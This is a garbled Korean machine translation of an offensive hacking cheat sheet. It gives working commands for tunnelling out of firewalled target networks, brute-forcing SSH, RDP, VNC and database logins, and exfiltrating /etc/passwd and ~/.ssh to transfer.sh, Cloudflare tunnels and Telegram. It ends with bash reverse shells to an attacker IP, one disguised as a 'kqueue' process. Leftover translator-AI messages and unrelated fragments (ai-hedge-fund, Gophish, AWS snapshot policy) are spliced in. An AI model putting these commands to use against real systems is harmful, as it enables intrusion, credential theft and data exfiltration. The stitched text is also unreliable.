bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

(Hackshell bounce 참조)

그런 다음 다음과 같이 포워드를 설정합니다:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443

root@kitploit:~
방화벽으로 차단된 네트워크 내부 깊숙한 곳에서 gsocket-relay-network(또는 TOR)에 도달하기 위해 이 트릭을 사용합니다.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  
root@kitploit:~
# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

3.vi.c Ghost IP / IP 스푸핑

대상 네트워크 내부의 호스트에서 유용합니다. 이 도구는 (흔적 없이) SHELL을 재구성합니다: 이 SHELL에서 시작된 모든 프로그램(nmap, cme, ...)은 가짜 IP를 사용하게 됩니다. 모든 공격은 존재하지 않는 호스트에서 시작된 것처럼 보입니다.```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)

root@kitploit:~
이는 다음 조합에서도 작동합니다:
 * [Segfault의 ROOT 서버](https://thc.org/segfault/wireguard): ROOT 서버를 대상 네트워크에 연결하고 대상 네트워크 내에서 Ghost IP를 사용합니다.
 * [QEMU 터널](https://securelist.com/network-tunneling-with-qemu/111803/): 위와 동일하지만 덜 안전합니다.

---
<a id="tunnel-more"></a>
**3.vi.d 다양한 터널 트릭**

### CDN을 통한 터널링
 * [CloudFlare를 통해 모든 TCP 서비스를 터널링하는 방법](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service)을 읽거나 [DarkFlare](https://github.com/doxx/darkflare)를 사용하세요.

### 호스트를 원격 네트워크에 직접 연결
 * [WireTap](https://github.com/sandialabs/wiretap) - 사용자 또는 루트로 작동합니다. 전송 계층으로 UDP를 사용합니다. (segfault에서 [사용해 보세요](https://thc.org/segfault/wireguard).)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - 전송 계층으로 TCP를 사용합니다. [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 또는 gs-netcat과 잘 작동합니다.

### Cloudflare를 통해 SSH를 저렴한 리버스 프록시로 사용

이 방법은 [HTTPS 리버스 터널](#https)과 유사하지만 Gost나 websocat 대신 SSH를 사용합니다.
- 장점: 대상에서 *cloudflared*와 *SSH*만 사용합니다.
- 단점: CF 구독이 필요합니다.

 1. CF 대시보드 -> Zero Trust -> Networks -> Tunnels로 이동합니다.
 2. 원하는 이름의 새 'Cloudflared' 터널을 생성합니다.
 3. Debian 및 64-bit를 선택합니다. Token은 완전히 표시되지 않습니다. 회색 영역을 별도 문서에 복사하여 전체 Token(`sudo cloudflared service install <TunnelTokenHere>` 뒤의 긴 16진수 문자열)을 확인합니다.
 4. 하위 도메인을 추가합니다 (예: `ssh.team-teso.net`).
 5. Type=TCP URL=localhost:22로 설정합니다.```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

npm run dev으로 개발 서버를 실행하여 변경 사항을 확인하거나... ai-hedge-fund 디렉토리를 열고 종속성을 설치합니다:

root@kitploit:~
cd ai-hedge-fund
pip install -r requirements.txt
``````shell
### On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:
ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080

입력 내용이 비어 있습니다. 번역할 원문(chunk 124/494)을 제공해 주세요.```shell

On your workstation, connect to any host within the target network (example: ipinfo.io)

curl -x socks5h://0 https://ipinfo.io

root@kitploit:~
리버스 프록시를 통해 다른 프로토콜을 [ProxyChains 또는 GrafTCP로 터널링](#scan-proxy)하세요.


---
<a id="scan-proxy"></a>
**3.iv. Socks 프록시를 통해 모든 도구 사용**

### gsocket으로 대상에서 워크스테이션으로 터널 생성:
대상의 네트워크에서:```sh
## Create a SOCKS proxy into the target's network.
## Use gs-netcat but ssh -D would work as well.
gs-netcat -l -S

워크스테이션에서:```sh

Create a gsocket tunnel into the target's network:

gs-netcat -p 1080

root@kitploit:~
### ProxyChain 사용:```sh
## Use ProxyChain to access any host on the target's network: 
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf
proxychains -f pc.conf -q curl ipinfo.io
## Scan the router at 192.168.1.1
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
## Start 10 nmaps in parallel:
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{} 

GrafTCP 사용하기:```sh

Use graftcp to access any host on the target's network:

(graftcp-local -select_proxy_mode only_socks5 &) graftcp curl ipinfo.io graftcp ssh [email protected] graftcp nmap -n -Pn -sV -F --open 19.168.1.1

root@kitploit:~
---
<a id="your-ip"></a>
**3.v. 공용 IP 주소 찾기**```sh
curl -s wtfismyip.com/json | jq
curl ifconfig.me
dig +short myip.opendns.com @resolver1.opendns.com
host myip.opendns.com resolver1.opendns.com

모든 IP 주소에 대한 지리적 위치 정보를 가져옵니다:```sh curl https://ipinfo.io/8.8.8.8 | jq curl http://ip-api.com/8.8.8.8 curl https://cli.fyi/8.8.8.8

root@kitploit:~
IP 주소로 ASN 정보 가져오기:```sh
asn() {
  [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; }
  (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2
}
asn 1.1.1.1           # Single IP Lookup
cat IPS.txt | asn     # Bulk Lookup

TOR가 작동하는지 확인하세요:```sh curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip

Result should be {"IsTor":true...

root@kitploit:~
---
<a id="check-reachable"></a>
**3.vi. 전 세계에서의 도달 가능성 확인**

[https://ping.pe/](https://ping.pe/)의 훌륭한 분들이 전 세계 어디서든 호스트에 ping/traceroute/mtr/dig/port-check를 수행하고, TCP 포트를 확인하고, 도메인 이름을 확인하는 등 다양한 기능을 제공합니다.

현재 호스트가 인터넷에 얼마나 잘 연결되는지 확인하려면 [OONI Probe](https://ooni.org/support/ooni-probe-cli)를 사용하세요:```sh
ooniprobe run im
ooniprobe run websites
ooniprobe list
ooniprobe list 1

3.vii. IP에서 열린 포트 확인/스캔

Censys 또는 Shodan 포트 조회 서비스:```shell curl https://internetdb.shodan.io/1.1.1.1

root@kitploit:~
빠른 (-F) 취약점 스캔```shell
# Version gathering
nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
# Vulns
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org

열린 TCP 포트 스캔:```sh _scan_single() { local opt=("${2}") [ -f "$2" ] && opt=("-iL" "$2") nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports } scan() { local port="${1:?}" shift 1 for ip in "$@"; do _scan_single "$port" "$ip" done }

scan ...

scan 22,80,443 192.168.0.1

scan - 192.168.0.1-254" 10.0.0.1-254

root@kitploit:~
([Hackshell](https://github.com/hackerschoice/hackshell) `scan` 참조)

간단한 bash 포트 스캐너:```shell
timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED

3.viii. 비밀번호 해시 크랙

  1. NTLM2password NTLM 비밀번호를 크랙(조회)하는 데 사용
  2. wpa-sec WPA PSK 비밀번호를 크랙(조회)하는 데 사용

HashCat은 그 외의 모든 경우에 사용하는 기본 도구입니다:```shell hashcat my-hash /usr/share/wordlists/rockyou.txt

root@kitploit:~
GPU에서 [10일 7-16자 hashmask](https://github.com/sean-t-smith/Extreme_Breach_Masks/)를 사용:```sh
curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
# -d2 == Use GPU #2 only (device #2)
# -O  == Up to 50% faster but limits password length to <= 15
# -w1 == workload low (-w3 == high)
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2

OpenSSH의 known_hosts 해시를 크래킹하여 IP 주소를 알아내세요:```shell curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt

root@kitploit:~
👉 [FAQ](https://hashcat.net/wiki/doku.php?id=frequently_asked_questions)를 읽어보세요.

`$6$` 해시는 매우 느리다는 점에 유의하세요. [1-minute 7-16 char hashmask](https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/01%20instant_1-minute/1-minute_7-16.hcmask)조차도 8xRTX4090 클러스터에서 완료하는 데 며칠이 걸립니다.

[vast.ai](https://www.vast.ai)에서 $0.40/h에 RTX-4090 GPU-클러스터를 임대하고 [dizcza/docker-hashcat:cuda](https://hub.docker.com/r/dizcza/docker-hashcat)를 사용하세요 ([더 보기](https://adamsvoboda.net/password-cracking-in-the-cloud-with-hashcat-vastai/)).

그렇지 않으면 [Crackstation](https://crackstation.net), [shuck.sh](https://shuck.sh/), [ColabCat/cloud](https://github.com/someshkar/colabcat)/[Cloudtopolis](https://github.com/JoelGMSec/Cloudtopolis)을 사용하거나 자체 [AWS](https://akimbocore.com/article/hashcracking-with-aws/) 인스턴스에서 크랙하세요.

**3.xi. 무차별 대입 비밀번호 / 키**

다음은 온라인 서비스의 비밀번호를 무차별 대입(추측)하는 방법입니다.

<a id="gmail"></a>
<details>
  <summary>GMail 멍청이들 - 여기를 클릭하세요</summary>

> GMAIL 계정은 무차별 대입할 수 없습니다.  
> GMAIL에서는 SMTP AUTH/LOGIN이 비활성화되어 있습니다.  
> 모든 GMail 무차별 대입 및 비밀번호 크래킹 도구는 가짜입니다.
</details>

모든 도구는 segfault에 사전 설치되어 있습니다:```shell
ssh [email protected] # password is 'segfault'

(자체 EXIT 노드를 사용하고 싶을 수도 있습니다)

도구:

  • Ncrack
  • Nmap BRUTE
  • THC Hydra
  • Medusa / 문서
  • Metasploit
  • Crowbar - 대상 IP 범위의 모든 SSH 키를 시도할 때 유용합니다.

사용자 이름 및 비밀번호 목록:

  • /usr/share/nmap/nselib/data
  • /usr/share/wordlists/seclists/Passwords
  • https://github.com/berzerk0/Probable-Wordlists - >THC가 가장 좋아하는 목록<
  • https://github.com/danielmiessler/SecLists
  • https://wordlists.assetnote.io
  • https://weakpass.com
  • https://crackstation.net/

U사용자 이름/P비밀번호 목록과 T대상 호스트를 설정하세요.```shell ULIST="/usr/share/wordlists/brutespray/mysql/user" PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt" T="192.168.0.1"

root@kitploit:~
유용한 **Nmap** 매개변수:```shell
--script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly

유용한 Ncrack 매개변수:```shell -U "${ULIST}" -P "${PLIST}"

root@kitploit:~
유용한 **Hydra** 매개변수:```shell
-t4      # Limit to 4 tasks
-l root  # Set username
-V       # Show each login/password attempt
-s 31337 # Set port
-S       # Use SSL
-f       # Exit after first valid login
```shell

SSH

nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"

root@kitploit:~
입력 청크(chunk 172/494)가 제공되지 않았습니다. 번역할 내용을 다시 보내주시면 번역해 드리겠습니다.```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

버그 - Gophish http://localhost:3333에서 메일 대시보드에 접근할 수 없는 경우 config.json에서 포트를 8.8.4.4에서 8.8.8.8로 변경해야 합니다. 자세한 내용은 여기를 참조하세요.

피싱 링크 - href="https://example.com" 또는 href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnSGVsbG8nKTs8L3NjcmlwdD4="와 같은 이메일용 고급 피싱 링크가 지원됩니다.

첨부 파일 - 이 기능에 대한 공식 문서를 참조하세요.

보고```shell

FTP

hydra -P "${PLIST}" -l user "ftp://$T"

root@kitploit:~
1. 스냅샷이 복사될 대상 계정에 새 S3 버킷을 생성합니다.

    ```bash
    aws s3 mb s3://<S3-BUCKET-TO-SHARE-SNAPSHOTS> --region <REGION>
    ```

 2. **대상 계정**에서 다음 정책을 대상 S3 버킷에 연결하고, `<S3-BUCKET-TO-SHARE-SNAPSHOTS>`, `<TARGET-ACCOUNT-ID>`, `<SOURCE-ACCOUNT-ID>`, `<ENCRYPTION_KEY-ARN>`를 사용자 환경의 값으로 바꿉니다.

    ```json
    {
            "Version": "2012-10-17",
            "Statement": [
                    {
                            "Sid": "AllowAccessFromSourceAccount",
                            "Effect": "Allow",
                            "Principal": {
                                    "AWS": "arn:aws:iam::<SOURCE-ACCOUNT-ID>:role/<PACE-AUDIT-ROLE-NAME>"
                            },
                            "Action": [
``````shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

I'm ready to translate the provided content. However, the input chunk appears to be missing—the message ends with "INPUT:" and no content follows.

Please provide the actual content of chunk 178 so I can translate it from English to Korean while preserving all Markdown structure and technical elements exactly as they are.```shell

POP3 (email)

nmap -p110,995 --script pop3-brute "$T"

root@kitploit:~
입력:```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

입력된 내용이 없어 번역할 텍스트가 없습니다.```shell

PostgreSQL

nmap -p5432 --script pgsql-brute "$T"

root@kitploit:~
No input content was provided to translate.```shell
## SMB (windows)
nmap --script smb-brute "$T"

[No content provided after INPUT:]```shell

Telnet

nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

root@kitploit:~
번역할 마크다운 내용을 입력해 주세요.```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

I'm ready to translate the content, but the input appears to be empty — there's no text after "INPUT:". Please provide the actual chunk content so I can translate it from English to Korean while preserving all Markdown structure.```shell

VNC (with metasploit)

msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run

root@kitploit:~
I'm sorry, but it appears the input content for chunk 192 is missing. Please provide the text to be translated.```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

4. 데이터 업로드/다운로드/유출

가장 쉬운 방법: Segfault Root Server에서 exfil을 입력하세요.

또는 curl을 사용하여 자신만의 PHP 유출 서버를 실행하세요.

4.i 파일 인코딩

인터넷에 접속할 수 없는 대상에게 파일을 전송하는 요령: 바이너리 파일을 ASCII 텍스트(base64)로 변환한 다음 잘라내기 및 붙여넣기를 사용하세요. (또는 gs-netcat의 elite 콘솔에서 Ctrl-e c를 사용하여 동일한 TCP 연결을 통해 파일을 전송할 수도 있습니다.)

워크스테이션에서 xclip을 사용하여 인코딩된 데이터를 클립보드로 바로 파이프하세요:```shell base64 -w0 </etc/issue.net | xclip

root@kitploit:~
#### >>> UU 인코딩/디코딩```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY
출력 - 여기를 클릭하세요

begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end

```sh ## uudecode (cut & paste the 3 lines from above): uudecode ``` #### >>> base64 인코딩/디코딩```sh base64 -w0 출력 - 여기를 클릭하세요

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh base64 -d >issue.net-COPY ``` #### >>> Openssl 인코딩/디코딩```sh openssl base64 출력 - 여기를 클릭하세요

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd 인코딩/디코딩```sh xxd -p 출력 - 여기를 클릭하세요

4b616c6920474e552f4c696e757820526f6c6c696e670a

```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. 파일 전송 - 잘라내기 및 붙여넣기 사용

원격 머신의 파일에 붙여넣으세요 (참고: <<-'__EOF__'는 탭이나 $-variables를 망가뜨리지 않기 위해 사용합니다).```sh cat >output.txt <<-'EOF' [...] EOF ### Finish your cut & paste by typing EOF

root@kitploit:~
---
<a id="xfer-tmux"></a>
### 4.iii. 파일 전송 - *tmux* 사용

워크스테이션에서 `tmux`를 시작하세요. 어떤 방법으로든(ssh, gs-netcat, ...) 대상(target)에 연결하세요.

#### REMOTE에서 LOCAL로 (다운로드)

[Tmux-Logging](#tmux)을 사용하여 대상에서 터미널을 통해 워크스테이션으로 대용량 파일을 다운로드하세요.

#### LOCAL에서 REMOTE로 (업로드)

REMOTE에서 선호하는 디코딩 도구(base64)를 시작하세요:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

워크스테이션에서 다른 터미널을 통해 base64로 인코딩된 데이터를 전송하세요. 해당 데이터는 REMOTE의 screen-xfer.txt에 도착합니다.```shell tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'

Press 'Ctrl-d' in the receiving terminal.

Optional: Use -t foo:1.2 to send to window #1 and pane #2 instead.

Optional: Use 'Ctrl-b ,' to rename the window

root@kitploit:~
---
<a id="file-transfer-screen"></a>
### 4.vi. 파일 전송 - *screen* 사용

#### 원격에서 로컬로 (다운로드)

로컬 컴퓨터에서 *screen*을 실행하고 셸 안에서 원격 시스템에 로그인하십시오. 로컬 screen이 모든 출력을 screen-xfer.txt에 기록하도록 지시하십시오:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

데이터를 인코딩하기 위해 *openssl*을 사용하지만 위의 어떤 인코딩 방법도 작동합니다. 이 명령은 base64로 인코딩된 데이터를 터미널에 표시하고 *screen*은 이 데이터를 *screen-xfer.txt*에 기록합니다:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

로컬 화면이 더 이상 데이터를 기록하지 않도록 중지하십시오:

CTRL-a H

로컬 컴퓨터에서 파일을 디코드하십시오:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt

root@kitploit:~
#### 로컬에서 원격으로 (업로드)

로컬 시스템에서 데이터를 인코딩하세요:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

원격 시스템에서(현재 screen 내에서):```sh openssl base64 -d

root@kitploit:~
*screen*을 사용하여 base64 인코딩된 데이터를 screen의 클립보드로 읽어 들인 다음, 클립보드에서 원격 시스템으로 붙여넣으세요:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

참고: [openssl의 버그](https://github.com/openssl/openssl/issues/9355)로 인해 CTRL-d를 두 번 눌러야 합니다.

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. 파일 전송 - gs-netcat 및 sftp 사용

[gs-netcat](https://github.com/hackerschoice/gsocket)을 사용해 내부에 sftp 프로토콜을 캡슐화합니다. NAT/방화벽 뒤에 있는 호스트에 접근할 수 있습니다.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

워크스테이션에서 이 명령을 실행하여 SFTP 서버에 연결하세요:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation

root@kitploit:~
또는 단일 파일을 DUMP하려면:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

4.vi. 파일 전송 - HTTPS 사용

서버에서 수신자로 다운로드:

송신자/서버에서:```sh

Spawn a temporary HTTP server and share the current working directory.

python -m http.server 8080 --bind 127.0.0.1 &

alternative: php -S 127.0.0.1:8080

cloudflared tunnel -url localhost:8080

root@kitploit:~
Receiver: 브라우저에서 URL에 접속하여 원격 파일 시스템을 보거나 다운로드하세요.

#### 1 - PHP를 사용한 업로드:

On the Receiver:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

발신자에 대해:```posh

Set a function:

up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }

upload files like so:

up warez.tar.gz up /etc/passwd

root@kitploit:~
#### 2 - PYTHON을 사용한 업로드:

수신 측에서:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

보내는 쪽에서:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'

root@kitploit:~
---
<a id="download"></a>
### 4.vii. curl 없이 파일 다운로드

Python을 사용하여 다운로드만 수행하려면:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

예시: purl로 gsocket 설치하기:```sh

cut & paste the above purl() function into your bash. Then cut & paste the following:

source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct

root@kitploit:~
OpenSSL을 사용하여 다음만 다운로드하세요:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

Perl 사용, 다운로드 전용:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }

lurl ipinfo.io

root@kitploit:~
bash를 사용하여 다음만 다운로드하세요:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

4.viii. 공개 덤프를 이용한 파일 전송

bash에 복사하여 붙여넣으세요:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }

root@kitploit:~
그런 다음 파일 또는 디렉토리를 업로드하세요:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

우리가 가장 좋아하는 공개 업로드 사이트 목록입니다.


4.ix. 파일 전송 - rsync 사용

대량의 디렉터리를 동기화하거나 중단된 전송을 재개하는 데 적합합니다. 예제는 Sender에서 Receiver로 단일 TCP 연결을 사용하여 'warez' 디렉터리를 전송합니다.

수신자:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach

root@kitploit:~
보낸사람:```posh
rsync -av warez rsync://1.2.3.4:31337/up

동일하게 암호화된(OpenSSL):

수신자:```posh

use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)

openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"

root@kitploit:~
보낸 사람:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Rsync은 https / cloudflared raw TCP 터널을 통해 exfil에 결합될 수 있습니다.
(Windows에서 exfil하려면 gsocket Windows 패키지의 rsync.exe를 사용하십시오). 더 시끄러운 해결책은 syncthing입니다.

프로 팁: 게으른 해커는 segfault.net에서 exfil만 입력하면 됩니다.


4.x. 파일 전송 - WebDAV 사용

수신자(예: segfault.net)에서 Cloudflare-Tunnel과 WebDAV를 시작합니다:```sh cloudflared tunnel --url localhost:8080 &

[...]

+--------------------------------------------------------------------------------------------+

| Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |

| https://example-foo-bar-lights.trycloudflare.com |

+--------------------------------------------------------------------------------------------+

[...]

wsgidav --port=8080 --root=. --auth=anonymous

root@kitploit:~
다른 서버에서:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

Windows의 파일 탐색기에서 공유에 액세스하세요 (파일을 끌어다 놓기 위해):``` \example-foo-bar-lights.trycloudflare.com@SSL\sources

root@kitploit:~
또는 Windows에서 WebDAV 공유를 마운트합니다 (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

4.xi. Telegram으로 파일 전송

업로드 서비스는 수없이 많지만 TG는 깔끔한 대안입니다. TG BotFather에서 _TG-Bot-Token_을 받으세요. 그런 다음 새 TG 그룹을 만들고 봇을 그룹에 추가하세요. 해당 그룹의 _chat_id_를 검색하세요:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq

If you get only {"ok":true,"result":[]} then remove and add the bot again.

root@kitploit:~
The source content for this chunk was not provided — the input section is empty. Please supply the Markdown text to translate.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

5. 리버스 셸 / 덤 셸

팁: https://www.revshells.com/를 사용하세요 👌

5.i.a. gs-netcat을 이용한 리버스 셸 (암호화됨)

https://gsocket.io/deploy를 사용하여 완전히 작동하는 PTY 리버스 셸을 배포하고 접속하는 원라이너는 6. 백도어를 참조하세요.

5.i.b. Bash를 이용한 리버스 셸

시스템의 포트 1524에서 수신 대기하도록 netcat을 시작하세요:```sh nc -nvlp 1524

root@kitploit:~
연결 후 [업그레이드](#reverse-shell-interactive)를 통해 셸을 완전한 대화형 PTY 셸로 업그레이드하세요. 또는 netcat 대신 [pwncat-cs](https://pwncat.org/)를 사용하세요:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

원격 시스템에서 이 명령은 사용자의 시스템(IP = 3.13.3.7, 포트 1524)으로 다시 연결하여 셸 프롬프트를 제공합니다:```sh

If the current shell is Bash already:

(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)

If the current shell is NOT Bash then we need:

bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

or hide the bash process as 'kqueue'

bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

root@kitploit:~
또는 원격 시스템에서 이 내용을 `~/.profile`이나 crontab에 넣어 connect-back 셸을 다시 시작하고(또한 여러 인스턴스가 시작되지 않도록 중지합니다):```sh
